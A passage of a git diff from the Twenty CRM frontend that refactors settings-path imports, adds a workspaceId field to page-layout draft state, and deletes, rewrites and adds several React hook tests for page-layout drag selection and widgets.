'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { useGetWebhooksQuery } from '~/generated-metadata/graphql'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledTableBody = styled(TableBody)` border-bottom: 1px solid ${({ theme }) => theme.border.color.light}; diff --git a/packages/twenty-front/src/modules/settings/developers/hooks/useWebhookForm.ts b/packages/twenty-front/src/modules/settings/developers/hooks/useWebhookForm.ts index 42ab13453a..46d1242d6d 100644 --- a/packages/twenty-front/src/modules/settings/developers/hooks/useWebhookForm.ts +++ b/packages/twenty-front/src/modules/settings/developers/hooks/useWebhookForm.ts @@ -12,10 +12,10 @@ import { webhookFormSchema, type WebhookFormValues, } from '@/settings/developers/validation-schemas/webhookFormSchema'; +import { SettingsPath } from '@/types/SettingsPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { ApolloError } from '@apollo/client'; import { t } from '@lingui/core/macro'; -import { SettingsPath } from 'twenty-shared/types'; import { useCreateWebhookMutation, useDeleteWebhookMutation, diff --git a/packages/twenty-front/src/modules/settings/domains/components/SettingsWorkspaceDomainCard.tsx b/packages/twenty-front/src/modules/settings/domains/components/SettingsWorkspaceDomainCard.tsx index e1870620ff..f2e7d6494f 100644 --- a/packages/twenty-front/src/modules/settings/domains/components/SettingsWorkspaceDomainCard.tsx +++ b/packages/twenty-front/src/modules/settings/domains/components/SettingsWorkspaceDomainCard.tsx @@ -1,12 +1,12 @@ import { currentWorkspaceState } from '@/auth/states/currentWorkspaceState'; import { isMultiWorkspaceEnabledState } from '@/client-config/states/isMultiWorkspaceEnabledState'; import { SettingsCard } from '@/settings/components/SettingsCard'; +import { SettingsPath } from '@/types/SettingsPath'; import { useLingui } from '@lingui/react/macro'; import { useRecoilValue } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { IconWorld, Status } from 'twenty-ui/display'; import { UndecoratedLink } from 'twenty-ui/navigation'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsWorkspaceDomainCard = () => { const { t } = useLingui(); diff --git a/packages/twenty-front/src/modules/settings/hooks/useSettingsNavigationItems.tsx b/packages/twenty-front/src/modules/settings/hooks/useSettingsNavigationItems.tsx index 90418d8ddc..abd89f7436 100644 --- a/packages/twenty-front/src/modules/settings/hooks/useSettingsNavigationItems.tsx +++ b/packages/twenty-front/src/modules/settings/hooks/useSettingsNavigationItems.tsx @@ -1,4 +1,4 @@ -import { SettingsPath } from 'twenty-shared/types'; +import { SettingsPath } from '@/types/SettingsPath'; import { useAuth } from '@/auth/hooks/useAuth'; import { currentUserState } from '@/auth/states/currentUserState'; diff --git a/packages/twenty-front/src/modules/settings/integrations/constants/SettingsIntegrationMcp.ts b/packages/twenty-front/src/modules/settings/integrations/constants/SettingsIntegrationMcp.ts index 44b8e52ea4..72b83b77d3 100644 --- a/packages/twenty-front/src/modules/settings/integrations/constants/SettingsIntegrationMcp.ts +++ b/packages/twenty-front/src/modules/settings/integrations/constants/SettingsIntegrationMcp.ts @@ -1,6 +1,4 @@ import { type SettingsIntegrationCategory } from '@/settings/integrations/types/SettingsIntegrationCategory'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; export const SETTINGS_INTEGRATION_AI_CATEGORY: SettingsIntegrationCategory = { key: 'ai', @@ -14,7 +12,7 @@ export const SETTINGS_INTEGRATION_AI_CATEGORY: SettingsIntegrationCategory = { }, type: 'Add', text: 'Connect MCP Client', - link: getSettingsPath(SettingsPath.IntegrationMCP), + link: '/settings/integrations/mcp', }, ], }; diff --git a/packages/twenty-front/src/modules/settings/integrations/database-connection/components/SettingsIntegrationDatabaseConnectionShowContainer.tsx b/packages/twenty-front/src/modules/settings/integrations/database-connection/components/SettingsIntegrationDatabaseConnectionShowContainer.tsx index 85f9c97aca..ce7bc776c7 100644 --- a/packages/twenty-front/src/modules/settings/integrations/database-connection/components/SettingsIntegrationDatabaseConnectionShowContainer.tsx +++ b/packages/twenty-front/src/modules/settings/integrations/database-connection/components/SettingsIntegrationDatabaseConnectionShowContainer.tsx @@ -2,12 +2,12 @@ import { useDeleteOneDatabaseConnection } from '@/databases/hooks/useDeleteOneDa import { SettingsIntegrationDatabaseConnectionSummaryCard } from '@/settings/integrations/database-connection/components/SettingsIntegrationDatabaseConnectionSummaryCard'; import { SettingsIntegrationDatabaseTablesListCard } from '@/settings/integrations/database-connection/components/SettingsIntegrationDatabaseTablesListCard'; import { useDatabaseConnection } from '@/settings/integrations/database-connection/hooks/useDatabaseConnection'; +import { SettingsPath } from '@/types/SettingsPath'; import { Breadcrumb } from '@/ui/navigation/bread-crumb/components/Breadcrumb'; import { Section } from '@react-email/components'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { H2Title } from 'twenty-ui/display'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsIntegrationDatabaseConnectionShowContainer = () => { const navigate = useNavigateSettings(); @@ -43,7 +43,9 @@ export const SettingsIntegrationDatabaseConnectionShowContainer = () => { }, { children: integration.text, - href: `${settingsIntegrationsPagePath}/${databaseKey}`, + href: getSettingsPath(SettingsPath.IntegrationDatabase, { + databaseKey, + }), }, { children: connection.label }, ]} diff --git a/packages/twenty-front/src/modules/settings/integrations/database-connection/components/SettingsIntegrationDatabaseConnectionsListCard.tsx b/packages/twenty-front/src/modules/settings/integrations/database-connection/components/SettingsIntegrationDatabaseConnectionsListCard.tsx index 1968ec4288..ecf772313b 100644 --- a/packages/twenty-front/src/modules/settings/integrations/database-connection/components/SettingsIntegrationDatabaseConnectionsListCard.tsx +++ b/packages/twenty-front/src/modules/settings/integrations/database-connection/components/SettingsIntegrationDatabaseConnectionsListCard.tsx @@ -3,11 +3,11 @@ import styled from '@emotion/styled'; import { SettingsListCard } from '@/settings/components/SettingsListCard'; import { SettingsIntegrationDatabaseConnectionSyncStatus } from '@/settings/integrations/database-connection/components/SettingsIntegrationDatabaseConnectionSyncStatus'; import { type SettingsIntegration } from '@/settings/integrations/types/SettingsIntegration'; -import { SettingsPath } from 'twenty-shared/types'; -import { IconChevronRight } from 'twenty-ui/display'; -import { LightIconButton } from 'twenty-ui/input'; +import { SettingsPath } from '@/types/SettingsPath'; import { type RemoteServer } from '~/generated-metadata/graphql'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; +import { IconChevronRight } from 'twenty-ui/display'; +import { LightIconButton } from 'twenty-ui/input'; type SettingsIntegrationDatabaseConnectionsListCardProps = { integration: SettingsIntegration; diff --git a/packages/twenty-front/src/modules/settings/integrations/database-connection/components/SettingsIntegrationEditDatabaseConnectionContent.tsx b/packages/twenty-front/src/modules/settings/integrations/database-connection/components/SettingsIntegrationEditDatabaseConnectionContent.tsx index d177eb8352..1e3195cd5a 100644 --- a/packages/twenty-front/src/modules/settings/integrations/database-connection/components/SettingsIntegrationEditDatabaseConnectionContent.tsx +++ b/packages/twenty-front/src/modules/settings/integrations/database-connection/components/SettingsIntegrationEditDatabaseConnectionContent.tsx @@ -8,6 +8,7 @@ import { getFormDefaultValuesFromConnection, } from '@/settings/integrations/database-connection/utils/editDatabaseConnection'; import { type SettingsIntegration } from '@/settings/integrations/types/SettingsIntegration'; +import { SettingsPath } from '@/types/SettingsPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { Breadcrumb } from '@/ui/navigation/bread-crumb/components/Breadcrumb'; import { ApolloError } from '@apollo/client'; @@ -16,8 +17,6 @@ import { useLingui } from '@lingui/react/macro'; import { Section } from '@react-email/components'; import pick from 'lodash.pick'; import { FormProvider, useForm } from 'react-hook-form'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { H2Title, Info } from 'twenty-ui/display'; import { type z } from 'zod'; import { @@ -26,6 +25,7 @@ import { RemoteTableStatus, } from '~/generated-metadata/graphql'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsIntegrationEditDatabaseConnectionContent = ({ connection, @@ -111,7 +111,9 @@ export const SettingsIntegrationEditDatabaseConnectionContent = ({ }, { children: integration.text, - href: `${settingsIntegrationsPagePath}/${databaseKey}`, + href: getSettingsPath(SettingsPath.IntegrationDatabase, { + databaseKey, + }), }, { children: connection.label }, ]} diff --git a/packages/twenty-front/src/modules/settings/integrations/database-connection/hooks/useDatabaseConnection.ts b/packages/twenty-front/src/modules/settings/integrations/database-connection/hooks/useDatabaseConnection.ts index 3324560512..3bcb7ccadb 100644 --- a/packages/twenty-front/src/modules/settings/integrations/database-connection/hooks/useDatabaseConnection.ts +++ b/packages/twenty-front/src/modules/settings/integrations/database-connection/hooks/useDatabaseConnection.ts @@ -6,7 +6,7 @@ import { useGetDatabaseConnection } from '@/databases/hooks/useGetDatabaseConnec import { useGetDatabaseConnectionTables } from '@/databases/hooks/useGetDatabaseConnectionTables'; import { useIsSettingsIntegrationEnabled } from '@/settings/integrations/hooks/useIsSettingsIntegrationEnabled'; import { useSettingsIntegrationCategories } from '@/settings/integrations/hooks/useSettingsIntegrationCategories'; -import { AppPath } from 'twenty-shared/types'; +import { AppPath } from '@/types/AppPath'; import { useNavigateApp } from '~/hooks/useNavigateApp'; export const useDatabaseConnection = ({ diff --git a/packages/twenty-front/src/modules/settings/integrations/utils/getSettingsIntegrationAll.ts b/packages/twenty-front/src/modules/settings/integrations/utils/getSettingsIntegrationAll.ts index b0c607b823..3d981bd0a9 100644 --- a/packages/twenty-front/src/modules/settings/integrations/utils/getSettingsIntegrationAll.ts +++ b/packages/twenty-front/src/modules/settings/integrations/utils/getSettingsIntegrationAll.ts @@ -1,7 +1,5 @@ import { type SettingsIntegration } from '@/settings/integrations/types/SettingsIntegration'; import { type SettingsIntegrationCategory } from '@/settings/integrations/types/SettingsIntegrationCategory'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; export const getSettingsIntegrationAll = ({ isAirtableIntegrationEnabled, @@ -28,9 +26,7 @@ export const getSettingsIntegrationAll = ({ }, type: isAirtableIntegrationActive ? 'Active' : 'Add', text: 'Airtable', - link: getSettingsPath(SettingsPath.IntegrationDatabase, { - databaseKey: 'airtable', - }), + link: '/settings/integrations/airtable', }, isPostgresqlIntegrationEnabled && { from: { @@ -39,9 +35,7 @@ export const getSettingsIntegrationAll = ({ }, type: isPostgresqlIntegrationActive ? 'Active' : 'Add', text: 'PostgreSQL', - link: getSettingsPath(SettingsPath.IntegrationDatabase, { - databaseKey: 'postgresql', - }), + link: '/settings/integrations/postgresql', }, isStripeIntegrationEnabled && { from: { @@ -50,9 +44,7 @@ export const getSettingsIntegrationAll = ({ }, type: isStripeIntegrationActive ? 'Active' : 'Add', text: 'Stripe', - link: getSettingsPath(SettingsPath.IntegrationDatabase, { - databaseKey: 'stripe', - }), + link: '/settings/integrations/stripe', }, ].filter(Boolean) as SettingsIntegration[], }); diff --git a/packages/twenty-front/src/modules/settings/page-layout/components/GraphWidgetRenderer.tsx b/packages/twenty-front/src/modules/settings/page-layout/components/GraphWidgetRenderer.tsx deleted file mode 100644 index eaa2215958..0000000000 --- a/packages/twenty-front/src/modules/settings/page-layout/components/GraphWidgetRenderer.tsx +++ /dev/null @@ -1,75 +0,0 @@ -import { GraphWidgetBarChart } from '@/dashboards/widgets/graph/components/GraphWidgetBarChart'; -import { GraphWidgetGaugeChart } from '@/dashboards/widgets/graph/components/GraphWidgetGaugeChart'; -import { GraphWidgetNumberChart } from '@/dashboards/widgets/graph/components/GraphWidgetNumberChart'; -import { GraphWidgetPieChart } from '@/dashboards/widgets/graph/components/GraphWidgetPieChart'; -import { GraphType } from '../mocks/mockWidgets'; -import { type PageLayoutWidget } from '../states/savedPageLayoutsState'; - -type GraphWidgetRendererProps = { - widget: PageLayoutWidget; -}; - -export const GraphWidgetRenderer = ({ widget }: GraphWidgetRendererProps) => { - const graphType = widget.configuration?.graphType; - - if (!graphType || typeof graphType !== 'string') { - return null; - } - - if (!Object.values(GraphType).includes(graphType as GraphType)) { - return null; - } - - switch (graphType as GraphType) { - case GraphType.NUMBER: - return ( - - ); - - case GraphType.GAUGE: - return ( - - ); - - case GraphType.PIE: - return ( - - ); - - case GraphType.BAR: - return ( - - ); - - default: - return null; - } -}; diff --git a/packages/twenty-front/src/modules/settings/page-layout/components/PageLayoutInitializationEffect.tsx b/packages/twenty-front/src/modules/settings/page-layout/components/PageLayoutInitializationEffect.tsx index e334a2ab08..9b1b2003ed 100644 --- a/packages/twenty-front/src/modules/settings/page-layout/components/PageLayoutInitializationEffect.tsx +++ b/packages/twenty-front/src/modules/settings/page-layout/components/PageLayoutInitializationEffect.tsx @@ -42,6 +42,7 @@ export const PageLayoutInitializationEffect = ({ set(pageLayoutDraftState, { name: layout.name, type: layout.type, + workspaceId: layout.workspaceId, objectMetadataId: layout.objectMetadataId, tabs: layout.tabs, }); @@ -81,6 +82,7 @@ export const PageLayoutInitializationEffect = ({ set(pageLayoutDraftState, { name: '', type: PageLayoutType.DASHBOARD, + workspaceId: undefined, objectMetadataId: null, tabs: [defaultTab], }); diff --git a/packages/twenty-front/src/modules/settings/page-layout/constants/SettingsPageLayoutTabsInstanceId.ts b/packages/twenty-front/src/modules/settings/page-layout/constants/SettingsPageLayoutTabsInstanceId.ts deleted file mode 100644 index 92044d62de..0000000000 --- a/packages/twenty-front/src/modules/settings/page-layout/constants/SettingsPageLayoutTabsInstanceId.ts +++ /dev/null @@ -1,2 +0,0 @@ -export const SETTINGS_PAGE_LAYOUT_TABS_INSTANCE_ID = - 'settings-page-layout-tabs'; diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useChangePageLayoutDragSelection.test.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useChangePageLayoutDragSelection.test.ts deleted file mode 100644 index 3914c73aed..0000000000 --- a/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useChangePageLayoutDragSelection.test.ts +++ /dev/null @@ -1,139 +0,0 @@ -import { act, renderHook } from '@testing-library/react'; -import { type ReactNode } from 'react'; -import { RecoilRoot, useRecoilValue } from 'recoil'; -import { pageLayoutSelectedCellsState } from '../../states/pageLayoutSelectedCellsState'; -import { useChangePageLayoutDragSelection } from '../useChangePageLayoutDragSelection'; - -describe('useChangePageLayoutDragSelection', () => { - it('should add cell to selection when selected is true', () => { - const { result } = renderHook( - () => ({ - changeDragSelection: useChangePageLayoutDragSelection(), - selectedCells: useRecoilValue(pageLayoutSelectedCellsState), - }), - { - wrapper: ({ children }: { children: ReactNode }) => - RecoilRoot({ - initializeState: ({ set }) => { - set(pageLayoutSelectedCellsState, new Set(['cell-1'])); - }, - children, - }), - }, - ); - - expect(result.current.selectedCells.size).toBe(1); - expect(result.current.selectedCells.has('cell-2')).toBe(false); - - act(() => { - result.current.changeDragSelection.changePageLayoutDragSelection( - 'cell-2', - true, - ); - }); - - expect(result.current.selectedCells.size).toBe(2); - expect(result.current.selectedCells.has('cell-1')).toBe(true); - expect(result.current.selectedCells.has('cell-2')).toBe(true); - }); - - it('should remove cell from selection when selected is false', () => { - const { result } = renderHook( - () => ({ - changeDragSelection: useChangePageLayoutDragSelection(), - selectedCells: useRecoilValue(pageLayoutSelectedCellsState), - }), - { - wrapper: ({ children }: { children: ReactNode }) => - RecoilRoot({ - initializeState: ({ set }) => { - set(pageLayoutSelectedCellsState, new Set(['cell-1', 'cell-2'])); - }, - children, - }), - }, - ); - - expect(result.current.selectedCells.size).toBe(2); - expect(result.current.selectedCells.has('cell-2')).toBe(true); - - act(() => { - result.current.changeDragSelection.changePageLayoutDragSelection( - 'cell-2', - false, - ); - }); - - expect(result.current.selectedCells.size).toBe(1); - expect(result.current.selectedCells.has('cell-1')).toBe(true); - expect(result.current.selectedCells.has('cell-2')).toBe(false); - }); - - it('should handle adding same cell multiple times', () => { - const { result } = renderHook( - () => ({ - changeDragSelection: useChangePageLayoutDragSelection(), - selectedCells: useRecoilValue(pageLayoutSelectedCellsState), - }), - { - wrapper: RecoilRoot, - }, - ); - - act(() => { - result.current.changeDragSelection.changePageLayoutDragSelection( - 'cell-1', - true, - ); - }); - expect(result.current.selectedCells.size).toBe(1); - - act(() => { - result.current.changeDragSelection.changePageLayoutDragSelection( - 'cell-1', - true, - ); - }); - expect(result.current.selectedCells.size).toBe(1); - }); - - it('should handle removing non-existent cell', () => { - const { result } = renderHook( - () => ({ - changeDragSelection: useChangePageLayoutDragSelection(), - selectedCells: useRecoilValue(pageLayoutSelectedCellsState), - }), - { - wrapper: ({ children }: { children: ReactNode }) => - RecoilRoot({ - initializeState: ({ set }) => { - set(pageLayoutSelectedCellsState, new Set(['cell-1'])); - }, - children, - }), - }, - ); - - expect(result.current.selectedCells.size).toBe(1); - - act(() => { - result.current.changeDragSelection.changePageLayoutDragSelection( - 'cell-99', - false, - ); - }); - - expect(result.current.selectedCells.size).toBe(1); - expect(result.current.selectedCells.has('cell-1')).toBe(true); - }); - - it('should return a function', () => { - const { result } = renderHook(() => useChangePageLayoutDragSelection(), { - wrapper: RecoilRoot, - }); - - expect(typeof result.current.changePageLayoutDragSelection).toBe( - 'function', - ); - }); -}); diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useDeletePageLayoutWidget.test.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useDeletePageLayoutWidget.test.ts deleted file mode 100644 index 0873d5f112..0000000000 --- a/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useDeletePageLayoutWidget.test.ts +++ /dev/null @@ -1,41 +0,0 @@ -import { act, renderHook } from '@testing-library/react'; -import { RecoilRoot } from 'recoil'; -import { useDeletePageLayoutWidget } from '../useDeletePageLayoutWidget'; - -describe('useDeletePageLayoutWidget', () => { - it('should remove widget from all states', () => { - const { result } = renderHook(() => useDeletePageLayoutWidget(), { - wrapper: RecoilRoot, - }); - - act(() => { - result.current.deletePageLayoutWidget('widget-1'); - }); - - expect(typeof result.current.deletePageLayoutWidget).toBe('function'); - }); - - it('should handle removing non-existent widget', () => { - const { result } = renderHook(() => useDeletePageLayoutWidget(), { - wrapper: RecoilRoot, - }); - - act(() => { - result.current.deletePageLayoutWidget('non-existent-widget'); - }); - - expect(typeof result.current.deletePageLayoutWidget).toBe('function'); - }); - - it('should handle empty layouts', () => { - const { result } = renderHook(() => useDeletePageLayoutWidget(), { - wrapper: RecoilRoot, - }); - - act(() => { - result.current.deletePageLayoutWidget('any-widget'); - }); - - expect(typeof result.current.deletePageLayoutWidget).toBe('function'); - }); -}); diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useEndPageLayoutDragSelection.test.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useEndPageLayoutDragSelection.test.ts deleted file mode 100644 index 7d24cfd121..0000000000 --- a/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useEndPageLayoutDragSelection.test.ts +++ /dev/null @@ -1,208 +0,0 @@ -import { useNavigateCommandMenu } from '@/command-menu/hooks/useNavigateCommandMenu'; -import { CommandMenuPages } from '@/command-menu/types/CommandMenuPages'; -import { act, renderHook } from '@testing-library/react'; -import { type ReactNode } from 'react'; -import { RecoilRoot, useRecoilValue } from 'recoil'; -import { IconAppWindow } from 'twenty-ui/display'; -import { pageLayoutDraggedAreaState } from '../../states/pageLayoutDraggedAreaState'; -import { pageLayoutSelectedCellsState } from '../../states/pageLayoutSelectedCellsState'; -import { calculateGridBoundsFromSelectedCells } from '../../utils/calculateGridBoundsFromSelectedCells'; -import { useEndPageLayoutDragSelection } from '../useEndPageLayoutDragSelection'; - -jest.mock('@/command-menu/hooks/useNavigateCommandMenu'); -jest.mock('../../utils/calculateGridBoundsFromSelectedCells'); - -describe('useEndPageLayoutDragSelection', () => { - const mockNavigateCommandMenu = jest.fn(); - - beforeEach(() => { - jest.clearAllMocks(); - (useNavigateCommandMenu as jest.Mock).mockReturnValue({ - navigateCommandMenu: mockNavigateCommandMenu, - }); - }); - - it('should handle drag selection end with valid bounds', () => { - const mockBounds = { x: 0, y: 0, w: 2, h: 2 }; - (calculateGridBoundsFromSelectedCells as jest.Mock).mockReturnValue( - mockBounds, - ); - - const { result } = renderHook( - () => ({ - endDragSelection: useEndPageLayoutDragSelection(), - selectedCells: useRecoilValue(pageLayoutSelectedCellsState), - draggedArea: useRecoilValue(pageLayoutDraggedAreaState), - }), - { - wrapper: ({ children }: { children: ReactNode }) => - RecoilRoot({ - initializeState: ({ set }) => { - set( - pageLayoutSelectedCellsState, - new Set(['0-0', '0-1', '1-0', '1-1']), - ); - set(pageLayoutDraggedAreaState, null); - }, - children, - }), - }, - ); - - expect(result.current.selectedCells.size).toBe(4); - expect(result.current.draggedArea).toBeNull(); - - act(() => { - result.current.endDragSelection.endPageLayoutDragSelection(); - }); - - expect(calculateGridBoundsFromSelectedCells).toHaveBeenCalledWith([ - '0-0', - '0-1', - '1-0', - '1-1', - ]); - - expect(result.current.draggedArea).toEqual(mockBounds); - expect(result.current.selectedCells.size).toBe(0); - - expect(mockNavigateCommandMenu).toHaveBeenCalledWith({ - page: CommandMenuPages.PageLayoutWidgetTypeSelect, - pageTitle: 'Add Widget', - pageIcon: IconAppWindow, - resetNavigationStack: true, - }); - }); - - it('should not navigate when no cells are selected', () => { - (calculateGridBoundsFromSelectedCells as jest.Mock).mockReturnValue(null); - - const { result } = renderHook( - () => ({ - endDragSelection: useEndPageLayoutDragSelection(), - selectedCells: useRecoilValue(pageLayoutSelectedCellsState), - draggedArea: useRecoilValue(pageLayoutDraggedAreaState), - }), - { - wrapper: ({ children }: { children: ReactNode }) => - RecoilRoot({ - initializeState: ({ set }) => { - set(pageLayoutSelectedCellsState, new Set()); - set(pageLayoutDraggedAreaState, null); - }, - children, - }), - }, - ); - - act(() => { - result.current.endDragSelection.endPageLayoutDragSelection(); - }); - - expect(calculateGridBoundsFromSelectedCells).not.toHaveBeenCalled(); - expect(mockNavigateCommandMenu).not.toHaveBeenCalled(); - expect(result.current.draggedArea).toBeNull(); - expect(result.current.selectedCells.size).toBe(0); - }); - - it('should not navigate when bounds calculation returns null', () => { - (calculateGridBoundsFromSelectedCells as jest.Mock).mockReturnValue(null); - - const { result } = renderHook( - () => ({ - endDragSelection: useEndPageLayoutDragSelection(), - selectedCells: useRecoilValue(pageLayoutSelectedCellsState), - draggedArea: useRecoilValue(pageLayoutDraggedAreaState), - }), - { - wrapper: ({ children }: { children: ReactNode }) => - RecoilRoot({ - initializeState: ({ set }) => { - set(pageLayoutSelectedCellsState, new Set(['invalid-cell'])); - set(pageLayoutDraggedAreaState, null); - }, - children, - }), - }, - ); - - act(() => { - result.current.endDragSelection.endPageLayoutDragSelection(); - }); - - expect(calculateGridBoundsFromSelectedCells).toHaveBeenCalledWith([ - 'invalid-cell', - ]); - expect(mockNavigateCommandMenu).not.toHaveBeenCalled(); - expect(result.current.draggedArea).toBeNull(); - expect(result.current.selectedCells.size).toBe(1); - }); - - it('should return a function', () => { - const { result } = renderHook(() => useEndPageLayoutDragSelection(), { - wrapper: RecoilRoot, - }); - - expect(typeof result.current.endPageLayoutDragSelection).toBe('function'); - }); - - it('should navigate to widget selection when bounds are valid', () => { - const mockBounds = { x: 0, y: 0, w: 2, h: 2 }; - (calculateGridBoundsFromSelectedCells as jest.Mock).mockReturnValue( - mockBounds, - ); - - const { result } = renderHook( - () => ({ - endDragSelection: useEndPageLayoutDragSelection(), - selectedCells: useRecoilValue(pageLayoutSelectedCellsState), - }), - { - wrapper: ({ children }: { children: ReactNode }) => - RecoilRoot({ - initializeState: ({ set }) => { - set(pageLayoutSelectedCellsState, new Set(['0-0'])); - }, - children, - }), - }, - ); - - act(() => { - result.current.endDragSelection.endPageLayoutDragSelection(); - }); - - expect(mockNavigateCommandMenu).toHaveBeenCalled(); - }); - - it('should clear selected cells after successful navigation', () => { - const mockBounds = { x: 0, y: 0, w: 1, h: 1 }; - (calculateGridBoundsFromSelectedCells as jest.Mock).mockReturnValue( - mockBounds, - ); - - const { result } = renderHook( - () => ({ - endDragSelection: useEndPageLayoutDragSelection(), - selectedCells: useRecoilValue(pageLayoutSelectedCellsState), - }), - { - wrapper: ({ children }: { children: ReactNode }) => - RecoilRoot({ - initializeState: ({ set }) => { - set(pageLayoutSelectedCellsState, new Set(['0-0'])); - }, - children, - }), - }, - ); - - expect(result.current.selectedCells.size).toBe(1); - - act(() => { - result.current.endDragSelection.endPageLayoutDragSelection(); - }); - - expect(result.current.selectedCells.size).toBe(0); - }); -}); diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/usePageLayoutDraftState.test.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/usePageLayoutDraftState.test.ts index 3e9326c82a..dd60729f8b 100644 --- a/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/usePageLayoutDraftState.test.ts +++ b/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/usePageLayoutDraftState.test.ts @@ -1,5 +1,5 @@ import { - GraphType, + GraphSubType, WidgetType, } from '@/settings/page-layout/mocks/mockWidgets'; import { PageLayoutType } from '@/settings/page-layout/states/savedPageLayoutsState'; @@ -26,6 +26,7 @@ describe('usePageLayoutDraftState', () => { result.current.setPageLayoutDraft({ name: ' ', type: PageLayoutType.DASHBOARD, + workspaceId: undefined, objectMetadataId: null, tabs: [], }); @@ -44,6 +45,7 @@ describe('usePageLayoutDraftState', () => { result.current.setPageLayoutDraft({ name: 'Updated Name', type: PageLayoutType.DASHBOARD, + workspaceId: undefined, objectMetadataId: null, tabs: [], }); @@ -63,6 +65,7 @@ describe('usePageLayoutDraftState', () => { result.current.setPageLayoutDraft({ name: 'Test Layout', type: PageLayoutType.DASHBOARD, + workspaceId: undefined, objectMetadataId: null, tabs: [ { @@ -80,7 +83,7 @@ describe('usePageLayoutDraftState', () => { title: 'New Widget', type: WidgetType.GRAPH, gridPosition: { row: 2, column: 2, rowSpan: 2, columnSpan: 2 }, - configuration: { graphType: GraphType.BAR }, + configuration: { graphType: GraphSubType.BAR }, data: {}, objectMetadataId: null, createdAt: new Date().toISOString(), diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/usePageLayoutDragSelection.test.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/usePageLayoutDragSelection.test.ts new file mode 100644 index 0000000000..31de4c8084 --- /dev/null +++ b/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/usePageLayoutDragSelection.test.ts @@ -0,0 +1,100 @@ +import { act, renderHook } from '@testing-library/react'; +import { RecoilRoot } from 'recoil'; +import { usePageLayoutDragSelection } from '../usePageLayoutDragSelection'; + +describe('usePageLayoutDragSelection', () => { + it('should initialize with empty selected cells', () => { + const { result } = renderHook(() => usePageLayoutDragSelection(), { + wrapper: RecoilRoot, + }); + + expect(result.current.pageLayoutSelectedCells).toEqual(new Set()); + }); + + it('should clear selected cells on drag start', () => { + const { result } = renderHook(() => usePageLayoutDragSelection(), { + wrapper: RecoilRoot, + }); + + act(() => { + result.current.handleDragSelectionChange('cell-1', true); + result.current.handleDragSelectionChange('cell-2', true); + }); + + expect(result.current.pageLayoutSelectedCells.size).toBe(2); + + act(() => { + result.current.handleDragSelectionStart(); + }); + + expect(result.current.pageLayoutSelectedCells).toEqual(new Set()); + }); + + it('should add and remove cells during drag selection', () => { + const { result } = renderHook(() => usePageLayoutDragSelection(), { + wrapper: RecoilRoot, + }); + + act(() => { + result.current.handleDragSelectionChange('cell-1', true); + }); + + expect(result.current.pageLayoutSelectedCells.has('cell-1')).toBe(true); + + act(() => { + result.current.handleDragSelectionChange('cell-2', true); + }); + + expect(result.current.pageLayoutSelectedCells.size).toBe(2); + + act(() => { + result.current.handleDragSelectionChange('cell-1', false); + }); + + expect(result.current.pageLayoutSelectedCells.has('cell-1')).toBe(false); + expect(result.current.pageLayoutSelectedCells.size).toBe(1); + }); + + it('should handle drag selection end with selected cells', () => { + const { result } = renderHook(() => usePageLayoutDragSelection(), { + wrapper: RecoilRoot, + }); + + act(() => { + result.current.handleDragSelectionChange('0-0', true); + result.current.handleDragSelectionChange('1-0', true); + result.current.handleDragSelectionChange('0-1', true); + result.current.handleDragSelectionChange('1-1', true); + }); + + expect(result.current.pageLayoutSelectedCells.size).toBe(4); + + act(() => { + result.current.handleDragSelectionEnd(); + }); + + expect(result.current.pageLayoutSelectedCells).toEqual(new Set()); + }); + + it('should handle drag selection end with no selected cells', () => { + const { result } = renderHook(() => usePageLayoutDragSelection(), { + wrapper: RecoilRoot, + }); + + act(() => { + result.current.handleDragSelectionEnd(); + }); + + expect(result.current.pageLayoutSelectedCells).toEqual(new Set()); + }); + + it('should provide all required handler functions', () => { + const { result } = renderHook(() => usePageLayoutDragSelection(), { + wrapper: RecoilRoot, + }); + + expect(typeof result.current.handleDragSelectionStart).toBe('function'); + expect(typeof result.current.handleDragSelectionChange).toBe('function'); + expect(typeof result.current.handleDragSelectionEnd).toBe('function'); + }); +}); diff --git a/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useCreatePageLayoutTab.test.ts b/packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/usePageLayoutTabCreate.test.ts similarity index 83% rename from packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/useCreatePageLayoutTab.test.ts rename to packages/twenty-front/src/modules/settings/page-layout/hooks/__tests__/usePageLayoutTabCreate.test.ts index 7c938be7cc..de03664e2b 100644 --- 